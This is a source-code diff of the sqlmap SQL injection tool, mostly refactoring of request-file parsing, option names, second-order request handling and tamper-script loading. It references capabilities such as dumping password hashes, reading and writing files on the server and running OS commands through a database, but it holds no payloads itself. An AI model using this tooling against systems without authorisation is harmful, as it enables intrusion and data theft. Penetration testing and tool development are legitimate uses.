    "--ignore-401": "use '--ignore-code' instead",
+    "--second-order": "use '--second-url' instead",
+    "--purge-output": "use '--purge' instead",
    "--check-payload": None,
    "--check-waf": None,
    "--pickled-options": "use '--api -c ...' instead",
@@ -293,3 +302,31 @@ DEFAULT_DOC_ROOTS = {
    OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
    OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
 }
+
+PART_RUN_CONTENT_TYPES = {
+    "checkDbms": CONTENT_TYPE.TECHNIQUES,
+    "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
+    "getBanner": CONTENT_TYPE.BANNER,
+    "getCurrentUser": CONTENT_TYPE.CURRENT_USER,
+    "getCurrentDb": CONTENT_TYPE.CURRENT_DB,
+    "getHostname": CONTENT_TYPE.HOSTNAME,
+    "isDba": CONTENT_TYPE.IS_DBA,
+    "getUsers": CONTENT_TYPE.USERS,
+    "getPasswordHashes": CONTENT_TYPE.PASSWORDS,
+    "getPrivileges": CONTENT_TYPE.PRIVILEGES,
+    "getRoles": CONTENT_TYPE.ROLES,
+    "getDbs": CONTENT_TYPE.DBS,
+    "getTables": CONTENT_TYPE.TABLES,
+    "getColumns": CONTENT_TYPE.COLUMNS,
+    "getSchema": CONTENT_TYPE.SCHEMA,
+    "getCount": CONTENT_TYPE.COUNT,
+    "dumpTable": CONTENT_TYPE.DUMP_TABLE,
+    "search": CONTENT_TYPE.SEARCH,
+    "sqlQuery": CONTENT_TYPE.SQL_QUERY,
+    "tableExists": CONTENT_TYPE.COMMON_TABLES,
+    "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
+    "readFile": CONTENT_TYPE.FILE_READ,
+    "writeFile": CONTENT_TYPE.FILE_WRITE,
+    "osCmd": CONTENT_TYPE.OS_CMD,
+    "regRead": CONTENT_TYPE.REG_READ
+}
@@ -47,6 +47,7 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
 from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
+from lib.core.settings import VERSION_STRING
 from lib.core.settings import WINDOWS_RESERVED_NAMES
 from thirdparty.magic import magic

@@ -170,7 +171,7 @@ class Dump(object):
    def currentDb(self, data):
        if Backend.isDbms(DBMS.MAXDB):
            self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
            self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
        else:
            self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -532,6 +533,7 @@ class Dump(object):
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
            dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
+            dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
            dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
            dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
@@ -43,6 +43,7 @@ class DBMS:
    SQLITE = "SQLite"
    SYBASE = "Sybase"
    HSQLDB = "HSQLDB"
+    H2 = "H2"
    INFORMIX = "Informix"

 class DBMS_DIRECTORY_NAME:
@@ -57,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
    SQLITE = "sqlite"
    SYBASE = "sybase"
    HSQLDB = "hsqldb"
+    H2 = "h2"
    INFORMIX = "informix"

 class CUSTOM_LOGGING:
@@ -256,6 +258,7 @@ class PAYLOAD:
        3: "LIKE single quoted string",
        4: "Double quoted string",
        5: "LIKE double quoted string",
+        6: "Identifier (e.g. column name)",
    }

    RISK = {
@@ -275,6 +278,7 @@ class PAYLOAD:
        6: "TOP",
        7: "Table name",
        8: "Column name",
+        9: "Pre-WHERE (non-query)",
    }

    class METHOD:
@@ -340,34 +344,6 @@ class CONTENT_TYPE:
    OS_CMD = 24
    REG_READ = 25

-PART_RUN_CONTENT_TYPES = {
-    "checkDbms": CONTENT_TYPE.TECHNIQUES,
-    "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
-    "getBanner": CONTENT_TYPE.BANNER,
-    "getCurrentUser": CONTENT_TYPE.CURRENT_USER,
-    "getCurrentDb": CONTENT_TYPE.CURRENT_DB,
-    "getHostname": CONTENT_TYPE.HOSTNAME,
-    "isDba": CONTENT_TYPE.IS_DBA,
-    "getUsers": CONTENT_TYPE.USERS,
-    "getPasswordHashes": CONTENT_TYPE.PASSWORDS,
-    "getPrivileges": CONTENT_TYPE.PRIVILEGES,
-    "getRoles": CONTENT_TYPE.ROLES,
-    "getDbs": CONTENT_TYPE.DBS,
-    "getTables": CONTENT_TYPE.TABLES,
-    "getColumns": CONTENT_TYPE.COLUMNS,
-    "getSchema": CONTENT_TYPE.SCHEMA,
-    "getCount": CONTENT_TYPE.COUNT,
-    "dumpTable": CONTENT_TYPE.DUMP_TABLE,
-    "search": CONTENT_TYPE.SEARCH,
-    "sqlQuery": CONTENT_TYPE.SQL_QUERY,
-    "tableExists": CONTENT_TYPE.COMMON_TABLES,
-    "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
-    "readFile": CONTENT_TYPE.FILE_READ,
-    "writeFile": CONTENT_TYPE.FILE_WRITE,
-    "osCmd": CONTENT_TYPE.OS_CMD,
-    "regRead": CONTENT_TYPE.REG_READ
-}
-
 class CONTENT_STATUS:
    IN_PROGRESS = 0
    COMPLETE = 1
@@ -382,6 +358,7 @@ class AUTOCOMPLETE_TYPE:
    SQL = 0
    OS = 1
    SQLMAP = 2
+    API = 3

 class NOTE:
    FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
@@ -401,3 +378,7 @@ class TIMEOUT_STATE:
    NORMAL = 0
    EXCEPTION = 1
    TIMEOUT = 2
+
+class HINT:
+    PREPEND = 0
+    APPEND = 1
@@ -5,12 +5,10 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-import binascii
 import cookielib
 import glob
 import inspect
 import logging
-import httplib
 import os
 import random
 import re
@@ -37,19 +35,16 @@ from lib.core.common import checkFile
 from lib.core.common import dataToStdout
 from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSafeExString
-from lib.core.common import extractRegexResult
-from lib.core.common import filterStringValue
 from lib.core.common import findLocalPort
 from lib.core.common import findPageForms
 from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
 from lib.core.common import getFileType
-from lib.core.common import getUnicode
 from lib.core.common import normalizePath
 from lib.core.common import ntToPosixSlashes
 from lib.core.common import openFile
+from lib.core.common import parseRequestFile
 from lib.core.common import parseTargetDirect
-from lib.core.common import parseTargetUrl
 from lib.core.common import paths
 from lib.core.common import randomStr
 from lib.core.common import readCachedFileContent
@@ -58,6 +53,7 @@ from lib.core.common import resetCookieJar
 from lib.core.common import runningAsAdmin
 from lib.core.common import safeExpandUser
 from lib.core.common import saveConfig
+from lib.core.common import setColor
 from lib.core.common import setOptimize
 from lib.core.common import setPaths
 from lib.core.common import singleTimeWarnMessage
@@ -86,6 +82,7 @@ from lib.core.enums import PROXY_TYPE
 from lib.core.enums import REFLECTIVE_COUNTER
 from lib.core.enums import WIZARD
 from lib.core.exception import SqlmapConnectionException
+from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapInstallationException
@@ -100,17 +97,14 @@ from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.log import FORMATTER
 from lib.core.optiondict import optDict
-from lib.core.settings import BURP_REQUEST_REGEX
-from lib.core.settings import BURP_XML_HISTORY_REGEX
 from lib.core.settings import CODECS_LIST_PAGE
-from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DBMS_ALIASES
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
+from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
-from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -120,8 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
-from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
-from lib.core.settings import SITE
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -131,8 +123,6 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
-from lib.core.settings import VERSION_STRING
-from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
 from lib.core.threads import setDaemon
 from lib.core.update import update
@@ -174,201 +164,6 @@ try:
 except NameError:
    WindowsError = None

-def _feedTargetsDict(reqFile, addedTargetUrls):
-    """
-    Parses web scarab and burp logs and adds results to the target URL list
-    """
-
-    def _parseWebScarabLog(content):
-        """
-        Parses web scarab logs (POST method not supported)
-        """
-
-        reqResList = content.split(WEBSCARAB_SPLITTER)
-
-        for request in reqResList:
-            url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
-            method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
-            cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
-
-            if not method or not url:
-                logger.debug("not a valid WebScarab log data")
-                continue
-
-            if method.upper() == HTTPMETHOD.POST:
-                warnMsg = "POST requests from WebScarab logs aren't supported "
-                warnMsg += "as their body content is stored in separate files. "
-                warnMsg += "Nevertheless you can use -r to load them individually."
-                logger.warning(warnMsg)
-                continue
-
-            if not(conf.scope and not re.search(conf.scope, url, re.I)):
-                if not kb.targets or url not in addedTargetUrls:
-                    kb.targets.add((url, method, None, cookie, None))
-                    addedTargetUrls.add(url)
-
-    def _parseBurpLog(content):
-        """
-        Parses burp logs
-        """
-
-        if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
-            if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
-                reqResList = []
-                for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
-                    port, request = match.groups()
-                    try:
-                        request = request.decode("base64")
-                    except binascii.Error:
-                        continue
-                    _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
-                    if _:
-                        host = _.group(0).strip()
-                        if not re.search(r":\d+\Z", host):
-                            request = request.replace(host, "%s:%d" % (host, int(port)))
-                    reqResList.append(request)
-            else:
-                reqResList = [content]
-        else:
-            reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
-
-        for match in reqResList:
-            request = match if isinstance(match, basestring) else match.group(0)
-            request = re.sub(r"\A[^\w]+", "", request)
-
-            schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
-
-            if schemePort:
-                scheme = schemePort.group(1)
-                port = schemePort.group(2)
-                request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
-            else:
-                scheme, port = None, None
-
-            if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
-                continue
-
-            if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
-                continue
-
-            getPostReq = False
-            url = None
-            host = None
-            method = None
-            data = None
-            cookie = None
-            params = False
-            newline = None
-            lines = request.split('\n')
-            headers = []
-
-            for index in xrange(len(lines)):
-                line = lines[index]
-
-                if not line.strip() and index == len(lines) - 1:
-                    break
-
-                newline = "\r\n" if line.endswith('\r') else '\n'
-                line = line.strip('\r')
-                match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
-
-                if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
-                    data = ""
-                    params = True
-
-                elif match:
-                    method = match.group(1)
-                    url = match.group(2)
-
-                    if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
-                        params = True
-
-                    getPostReq = True
-
-                # POST parameters
-                elif data is not None and params:
-                    data += "%s%s" % (line, newline)
-
-                # GET parameters
-                elif "?" in line and "=" in line and ": " not in line:
-                    params = True
-
-                # Headers
-                elif re.search(r"\A\S+:", line):
-                    key, value = line.split(":", 1)
-                    value = value.strip().replace("\r", "").replace("\n", "")
-
-                    # Cookie and Host headers
-                    if key.upper() == HTTP_HEADER.COOKIE.upper():
-                        cookie = value
-                    elif key.upper() == HTTP_HEADER.HOST.upper():
-                        if '://' in value:
-                            scheme, value = value.split('://')[:2]
-                        splitValue = value.split(":")
-                        host = splitValue[0]
-
-                        if len(splitValue) > 1:
-                            port = filterStringValue(splitValue[1], "[0-9]")
-
-                    # Avoid to add a static content length header to
-                    # headers and consider the following lines as
-                    # POSTed data
-                    if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
-                        params = True
-
-                    # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
-                        headers.append((getUnicode(key), getUnicode(value)))
-
-                    if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
-                        params = True
-
-            data = data.rstrip("\r\n") if data else data
-
-            if getPostReq and (params or cookie):
-                if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
-                    port = "443"
-                elif not scheme and port == "443":
-                    scheme = "https"
-
-                if conf.forceSSL:
-                    scheme = "https"
-                    port = port or "443"
-
-                if not host:
-                    errMsg = "invalid format of a request file"
-                    raise SqlmapSyntaxException(errMsg)
-
-                if not url.startswith("http"):
-                    url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
-                    scheme = None
-                    port = None
-
-                if not(conf.scope and not re.search(conf.scope, url, re.I)):
-                    if not kb.targets or url not in addedTargetUrls:
-                        kb.targets.add((url, conf.method or method, data, cookie, tuple(headers)))
-                        addedTargetUrls.add(url)
-
-    checkFile(reqFile)
-    try:
-        with openFile(reqFile, "rb") as f:
-            content = f.read()
-    except (IOError, OSError, MemoryError), ex:
-        errMsg = "something went wrong while trying "
-        errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
-        raise SqlmapSystemException(errMsg)
-
-    if conf.scope:
-        logger.info("using regular expression '%s' for filtering targets" % conf.scope)
-
-    _parseBurpLog(content)
-    _parseWebScarabLog(content)
-
-    if not addedTargetUrls:
-        errMsg = "unable to find usable request(s) "
-        errMsg += "in provided file ('%s')" % reqFile
-        raise SqlmapGenericException(errMsg)
-
 def _loadQueries():
    """
    Loads queries from 'xml/queries.xml' file.
@@ -414,7 +209,7 @@ def _setMultipleTargets():
    """

    initialTargetsCount = len(kb.targets)
-    addedTargetUrls = set()
+    seen = set()

    if not conf.logFile:
        return
@@ -427,7 +222,11 @@ def _setMultipleTargets():
        raise SqlmapFilePathException(errMsg)

    if os.path.isfile(conf.logFile):
-        _feedTargetsDict(conf.logFile, addedTargetUrls)
+        for target in parseRequestFile(conf.logFile):
+            url = target[0]
+            if url not in seen:
+                kb.targets.add(target)
+                seen.add(url)

    elif os.path.isdir(conf.logFile):
        files = os.listdir(conf.logFile)
@@ -437,7 +236,11 @@ def _setMultipleTargets():
            if not re.search(r"([\d]+)\-request", reqFile):
                continue

-            _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls)
+            for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
+                url = target[0]
+                if url not in seen:
+                    kb.targets.add(target)
+                    seen.add(url)

    else:
        errMsg = "the specified list of targets is not a file "
@@ -478,22 +281,37 @@ def _setRequestFromFile():
    textual file, parses it and saves the information into the knowledge base.
    """

-    if not conf.requestFile:
-        return
+    if conf.requestFile:
+        conf.requestFile = safeExpandUser(conf.requestFile)
+        seen = set()

-    addedTargetUrls = set()
+        if not os.path.isfile(conf.requestFile):
+            errMsg = "specified HTTP request file '%s' " % conf.requestFile
+            errMsg += "does not exist"
+            raise SqlmapFilePathException(errMsg)

-    conf.requestFile = safeExpandUser(conf.requestFile)
+        infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
+        logger.info(infoMsg)

-    if not os.path.isfile(conf.requestFile):
-        errMsg = "specified HTTP request file '%s' " % conf.requestFile
-        errMsg += "does not exist"
-        raise SqlmapFilePathException(errMsg)
+        for target in parseRequestFile(conf.requestFile):
+            url = target[0]
+            if url not in seen:
+                kb.targets.add(target)
+                seen.add(url)

-    infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
-    logger.info(infoMsg)
+    if conf.secondReq:
+        conf.secondReq = safeExpandUser(conf.secondReq)

-    _feedTargetsDict(conf.requestFile, addedTargetUrls)
+        if not os.path.isfile(conf.secondReq):
+            errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
+            errMsg += "does not exist"
+            raise SqlmapFilePathException(errMsg)
+
+        infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
+        logger.info(infoMsg)
+
+        target = parseRequestFile(conf.secondReq, False).next()
+        kb.secondReq = target

 def _setCrawler():
    if not conf.crawlDepth:
@@ -788,22 +606,22 @@ def _setMetasploit():
        raise SqlmapFilePathException(errMsg)

 def _setWriteFile():
-    if not conf.wFile:
+    if not conf.fileWrite:
        return

    debugMsg = "setting the write file functionality"
    logger.debug(debugMsg)

-    if not os.path.exists(conf.wFile):
-        errMsg = "the provided local file '%s' does not exist" % conf.wFile
+    if not os.path.exists(conf.fileWrite):
+        errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
        raise SqlmapFilePathException(errMsg)

-    if not conf.dFile:
+    if not conf.fileDest:
        errMsg = "you did not provide the back-end DBMS absolute path "
-        errMsg += "where you want to write the local file '%s'" % conf.wFile
+        errMsg += "where you want to write the local file '%s'" % conf.fileWrite
        raise SqlmapMissingMandatoryOptionException(errMsg)

-    conf.wFileType = getFileType(conf.wFile)
+    conf.fileWriteType = getFileType(conf.fileWrite)

 def _setOS():
    """
@@ -880,6 +698,22 @@ def _setDBMS():

            break

+def _listTamperingFunctions():
+    """
+    Lists available tamper functions
+    """
+
+    if conf.listTampers:
+        infoMsg = "listing available tamper scripts\n"
+        logger.info(infoMsg)
+
+        for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
+            content = openFile(script, "rb").read()
+            match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
+            if match:
+                comment = match.group(1).strip()
+                dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
+
 def _setTamperingFunctions():
    """
    Loads tampering functions from given script(s)
@@ -918,7 +752,7 @@ def _setTamperingFunctions():
            dirname, filename = os.path.split(script)
            dirname = os.path.abspath(dirname)

-            infoMsg = "loading tamper script '%s'" % filename[:-3]
+            infoMsg = "loading tamper module '%s'" % filename[:-3]
            logger.info(infoMsg)

            if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -932,7 +766,7 @@ def _setTamperingFunctions():
            try:
                module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
            except Exception, ex:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
+                raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))

            priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__

@@ -962,7 +796,12 @@ def _setTamperingFunctions():

                    break
                elif name == "dependencies":
-                    function()
+                    try:
+                        function()
+                    except Exception, ex:
+                        errMsg = "error occurred while checking dependencies "
+                        errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
+                        raise SqlmapGenericException(errMsg)

            if not found:
                errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -983,7 +822,7 @@ def _setTamperingFunctions():

 def _setWafFunctions():
    """
-    Loads WAF/IPS/IDS detecting functions from script(s)
+    Loads WAF/IPS detecting functions from script(s)
    """

    if conf.identifyWaf:
@@ -1232,7 +1071,7 @@ def _setSafeVisit():
                    key, value = line.split(':', 1)
                    value = value.strip()
                    kb.safeReq.headers[key] = value
-                    if key == HTTP_HEADER.HOST:
+                    if key.upper() == HTTP_HEADER.HOST.upper():
                        if not value.startswith("http"):
                            scheme = "http"
                            if value.endswith(":443"):
@@ -1417,14 +1256,6 @@ def _setHTTPExtraHeaders():
        # Reference: http://stackoverflow.com/a/1383359
        conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))

-def _defaultHTTPUserAgent():
-    """
-    @return: default sqlmap HTTP User-Agent header
-    @rtype: C{str}
-    """
-
-    return "%s (%s)" % (VERSION_STRING, SITE)
-
 def _setHTTPUserAgent():
    """
    Set the HTTP User-Agent header.
@@ -1464,12 +1295,12 @@ def _setHTTPUserAgent():
        _ = True

        for header, _ in conf.httpHeaders:
-            if header == HTTP_HEADER.USER_AGENT:
+            if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                _ = False
                break

        if _:
-            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
+            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))

    else:
        if not kb.userAgents:
@@ -1484,10 +1315,10 @@ def _setHTTPUserAgent():
                warnMsg += "file '%s'" % paths.USER_AGENTS
                logger.warn(warnMsg)

-                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
+                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
                return

-        userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
+        userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]

        infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
        infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1528,6 +1359,19 @@ def _setHTTPCookies():

        conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))

+def _setHostname():
+    """
+    Set value conf.hostname
+    """
+
+    if conf.url:
+        try:
+            conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
+        except ValueError, ex:
+            errMsg = "problem occurred while "
+            errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
+            raise SqlmapDataException(errMsg)
+
 def _setHTTPTimeout():
    """
    Set the HTTP timeout
@@ -1585,7 +1429,7 @@ def _createTemporaryDirectory():
        try:
            if not os.path.isdir(tempfile.gettempdir()):
                os.makedirs(tempfile.gettempdir())
-        except (OSError, IOError, WindowsError), ex:
+        except Exception, ex:
            warnMsg = "there has been a problem while accessing "
            warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
            warnMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -1596,7 +1440,7 @@ def _createTemporaryDirectory():
    if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
        try:
            tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
-        except (OSError, IOError, WindowsError):
+        except:
            tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))

    kb.tempDir = tempfile.tempdir
@@ -1604,7 +1448,7 @@ def _createTemporaryDirectory():
    if not os.path.isdir(tempfile.tempdir):
        try:
            os.makedirs(tempfile.tempdir)
-        except (OSError, IOError, WindowsError), ex:
+        except Exception, ex:
            errMsg = "there has been a problem while setting "
            errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
            raise SqlmapSystemException(errMsg)
@@ -1668,14 +1512,14 @@ def _cleanupOptions():
    if conf.url:
        conf.url = conf.url.strip()

-    if conf.rFile:
-        conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
+    if conf.fileRead:
+        conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))

-    if conf.wFile:
-        conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
+    if conf.fileWrite:
+        conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))

-    if conf.dFile:
-        conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
+    if conf.fileDest:
+        conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))

    if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
        conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1692,14 +1536,6 @@ def _cleanupOptions():
    if conf.optimize:
        setOptimize()

-    match = re.search(INJECT_HERE_REGEX, conf.data or "")
-    if match:
-        kb.customInjectionMark = match.group(0)
-
-    match = re.search(INJECT_HERE_REGEX, conf.url or "")
-    if match:
-        kb.customInjectionMark = match.group(0)
-
    if conf.os:
        conf.os = conf.os.capitalize()

@@ -1717,7 +1553,7 @@ def _cleanupOptions():

    if conf.testFilter:
        conf.testFilter = conf.testFilter.strip('*+')
-        conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)
+        conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)

        try:
            re.compile(conf.testFilter)
@@ -1726,7 +1562,7 @@ def _cleanupOptions():

    if conf.testSkip:
        conf.testSkip = conf.testSkip.strip('*+')
-        conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)
+        conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)

        try:
            re.compile(conf.testSkip)
@@ -1797,6 +1633,9 @@ def _cleanupOptions():
    if any((conf.proxy, conf.proxyFile, conf.tor)):
        conf.disablePrecon = True

+    if conf.dummy:
+        conf.batch = True
+
    threadData = getCurrentThreadData()
    threadData.reset()

@@ -1811,23 +1650,13 @@ def _cleanupEnvironment():
    if hasattr(socket, "_ready"):
        socket._ready.clear()

-def _dirtyPatches():
+def _purge():
    """
-    Place for "dirty" Python related patches
+    Safely removes (purges) sqlmap data directory.
    """

-    httplib._MAXLINE = 1 * 1024 * 1024                          # accept overly long result lines (e.g. SQLi results in HTTP header responses)
-
-    if IS_WIN:
-        from thirdparty.wininetpton import win_inet_pton        # add support for inet_pton() on Windows OS
-
-def _purgeOutput():
-    """
-    Safely removes (purges) output directory.
-    """
-
-    if conf.purgeOutput:
-        purge(paths.SQLMAP_OUTPUT_PATH)
+    if conf.purge:
+        purge(paths.SQLMAP_HOME_PATH)

 def _setConfAttributes():
    """
@@ -1865,7 +1694,7 @@ def _setConfAttributes():
    conf.tests = []
    conf.trafficFP = None
    conf.HARCollectorFactory = None
-    conf.wFileType = None
+    conf.fileWriteType = None

 def _setKnowledgeBaseAttributes(flushAll=True):
    """
@@ -1879,6 +1708,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.absFilePaths = set()
    kb.adjustTimeDelay = None
    kb.alerted = False
+    kb.aliasName = randomStr()
    kb.alwaysRefresh = None
    kb.arch = None
    kb.authHeader = None
@@ -1962,6 +1792,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.injection = InjectionDict()
    kb.injections = []
    kb.laggingChecked = False
+    kb.lastInputMessage = None
    kb.lastParserStatus = None

    kb.locks = AttribDict()
@@ -2017,6 +1848,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.rowXmlMode = False
    kb.safeCharEncode = False
    kb.safeReq = AttribDict()
+    kb.secondReq = None
+    kb.serverHeader = None
    kb.singleLogFlags = set()
    kb.skipSeqMatcher = False
    kb.reduceTests = None
@@ -2406,6 +2239,10 @@ def _basicOptionValidation():
        errMsg = "switch '--eta' is incompatible with option '-v'"
        raise SqlmapSyntaxException(errMsg)

+    if conf.secondUrl and conf.secondReq:
+        errMsg = "option '--second-url' is incompatible with option '--second-req')"
+        raise SqlmapSyntaxException(errMsg)
+
    if conf.direct and conf.url:
        errMsg = "option '-d' is incompatible with option '-u' ('--url')"
        raise SqlmapSyntaxException(errMsg)
@@ -2628,8 +2465,7 @@ def init():
    _setRequestFromFile()
    _cleanupOptions()
    _cleanupEnvironment()
